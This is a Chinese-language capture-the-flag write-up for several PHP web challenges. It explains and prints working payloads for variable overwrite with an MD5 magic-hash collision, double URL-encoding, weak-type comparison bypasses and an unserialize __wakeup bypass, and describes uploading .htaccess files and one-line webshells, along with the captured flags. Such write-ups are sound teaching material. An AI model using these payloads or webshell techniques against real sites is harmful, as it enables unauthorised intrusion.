variacover
主要考点是变量覆盖
<meta charset="utf-8">
<?php
error_reporting(0);
if (empty($_GET['b'])) {
show_source(__FILE__);
die();
}else{
include('flag.php');
$a = "www.XMAN.com";
$b = $_GET['b'];
@parse_str($b);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO'))
{
echo $flag;
}else{
exit('你的答案不对0.0');
}
}
?>
接受参数的只有变量b,但是需要更改参数a[0]
@parse_str($b)把查询字符串解析到变量中,如果有同名变量,将原来的覆盖。
由于PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
PHP处理0e开头md5哈希字符串缺陷/bug
构造payload:
?b=a[0]=s878926199a
拿到flag ayyctf{318fa61ae531e1778ffa6661c9b1ff06}
upload1
F12 删除前端认证,然后上一句话木马 蚁剑连接拿flag
upload
先bp抓包上传.htaccess文件,将png文件解析为php文件,然后上一句话木马 蚁剑连接拿flag
unserialize3
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
反序列化 利用php中的new 实例化类xctf
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a=new xctf();
echo(serialize($a));
?>
获得payload:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
利用_wakeup()函数漏洞
把1改成2
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
PHP2
没有头绪
扫了一下目录看到了index.phps
拿到源码
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
传一个名为id的参数,参数值必须为经过url编码后的admin
因为url发到服务器那里会自动解码一次
所以需要二次编码
payload:
/index.php?id=%2561%2564%256d%2569%256e
PHP
扫目录拿到index.php~
拿到源码
<?php
$a=0;
$b=0;
$c=0;
if (isset($_GET['aaa']))
{
$aaa = $_GET['aaa'];
$aaa=="1"?die("Emmm..."):NULL;
switch ($aaa)
{
case 0:
case 1:
$a=1;
break;
}
}
$bbb=(array)json_decode(@$_GET['bbb']);
if(is_array($bbb)){
is_numeric(@$bbb["ccc"])?die("Emmm..."):NULL;
if(@$bbb["ccc"]){
($bbb["ccc"]>2017)?$b=1:NULL;
}
if(is_array(@$bbb["ddd"])){
if(count($bbb["ddd"])!==2 OR !is_array($bbb["ddd"][0])) die("Emmm...");
$eee = array_search("XMAN", $bbb["ddd"]);
$eee===false?die("Emmm..."):NULL;
foreach($bbb["ddd"] as $key=>$val){
$val==="XMAN"?die("Emmm..."):NULL;
}
$c=1;
}
}
if($a && $b && $c){
include "flag.php";
echo $flag;
}
?>
三个参数都为1时可以拿到flag
$a:
? witch…case的弱类型比较,可以用1a 绕过
$b:
? $bbb[“ccc”]>2017 依然是弱类型比较, 让’ccc’ => ‘2018a’ 即可
$c:
? array_search函数的绕过,
构造payload:
/index.php?aaa=1a&bbb={"ccc":"2018a","ddd":[[""],0]}
拿到flag
ayyctf{a2e43398d5d1a8513b233b2f0f8fa86f}
|